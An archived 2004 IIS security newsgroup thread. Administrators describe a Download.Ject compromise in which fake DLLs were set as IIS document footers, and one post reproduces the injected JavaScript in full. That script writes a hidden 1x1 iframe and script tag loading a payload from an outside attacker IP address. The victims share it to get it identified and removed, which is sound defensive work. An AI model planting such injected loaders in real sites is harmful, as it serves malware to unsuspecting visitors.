

RE: Russian IIS hack? Malicious Javascript code

Source: <http://www.derkeiler.com/Newsgroups/microsoft.public.inetserver.iis.security/2004-06/0588.html>

From: Patrick (*Patrick_at_discussions.microsoft.com*)

Date: 06/24/04

Date: Thu, 24 Jun 2004 11:00:02 -0700

Ok, I have been dealing with this problem since the 22nd and here is what I have found so far.

I got infected with the download.ject virus on the 22nd. Norton AV corporate detected it but did not remove it. Upon going to Symantec's website, they say that there is no removal for the virus but not to worry because it only affects webservers.

A few hours later from that point I decided to make changes on one of my webpages. Using DreamweaverMX2K4 I updated the page via dreamweavers builtin FTP.

When I checked the updated page via http://, the page started to load the malware code and nortonAV again detected the download.ject trojan.

This leads me to believe that anyone who comes across a website that is infected with the trojan will get the trojan, regardless if they run any virus protection (especially norton as I don't know how the other AV programs are reacting to this) and if they make updates to a website on an IIS powered webserver they are going to infect that webserver.

I logged into the webserver and found the .dlls and the checked footer info in Documents of the IIS properties. I removed the check and moved the .dll files to another directory. My sites then worked without any problems.

I noticed that it only affected pages for which were .html and contained javascript. I'm not sure if the .html has anything to do with it or if it just any page that had the javascript in it. I have a site that is all .asp pages and it never loaded the code, but I did not check to see if it contained any javascript yet.

I did not find any of the other files you all have spoke of, the ftpcmd.txt, agent.exe, ads.vbs. I don't know if it is because I had already removed the footer check and .dlls that I didn't find those files.

All my sites are running again with no malicious code being sent out. But now I worry that If I update a site again the trojan will again load the .dlls and add the footer info. I don't think I have removed the trojan and I am clueless as to knowing how to even find it. I have searched google for any such answers but nobody seems to have any answers. Symantec's information about download.ject seems worthless as it tells you to remove the virtumonde adware, but I was unable to find that at all when I scanned with Ad-Aware.

I hope this helps someone smarter than I to figure out a real solution to the problem as I fear this bandage will not hold.

"Oca Hoeflein" wrote:

microsoft.public.inetsrv.iis.security: RE: Russian IIS hack? Malicious Javascript code

- > I successfully removed some malicious code from my IIS 5.0 server that may not have had all its patches updated, but I cannot find any information on this malicious code that redirected on a random basis the users of my websites to a russian website that appeared to be down. to a domain called balamut.com
- > with an IP address of 217.107.218.147 which RDNS to
- > unassigned.m10-msk-ru.e-neverland.net
- >
- > The javascript code lived in some fake dll files in the inetsrv folder.
- > One fake .dll file was created for each web on my server and in the IIS metabase the defaultdocfooter was set to each of the dll files and enabledocfooter was set to true.
- >
- > the offending code was embedded in every file that the website delivered and pages that had embedded .js files the javascript for those pages would not function.
- >
- > I have posted the offending code, maybe someone can identify this?
- >
- > As proof check out a google search for one of the function in the code okx12()
- >
- > you'll see the first link it returns is an RTF if you view the html version you'll see this code appended to the bottom of the page.
- >
- >

```
<script language="JavaScript"><!--
var qxco7=document.cookie;function gc099(n21){var ix=qxco7.indexOf(n21+"=");if(ix===-1)return null;ix=qxco7.indexOf("=",ix)+1;var es=qxco7.indexOf(";",ix);if(es===-1)es=qxco7.length;return unescape(qxco7.substring(ix,es));}function sc088(n24,v8){var today=new Date();var expiry=new Date(today.getTime()+600000);if(v8!=null&&v8!="")document.cookie=n24+"="+escape(v8)+"; expires="+expiry.toGMTString();qxco7=document.cookie;}function okx12(){window.status="";setTimeout("okx12()",200);}okx12();if(location.href.indexOf("https")!=0){if(gc099("trk716")==null){document.write("<script language=\"JavaScript\" src=\"http://217.107.218.147/dot.php\"></script><iframe src=\"http://217.107.218.147/dot.php\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"no\"/>");sc088("trk716","4");}}// --></script>
```
- >
- >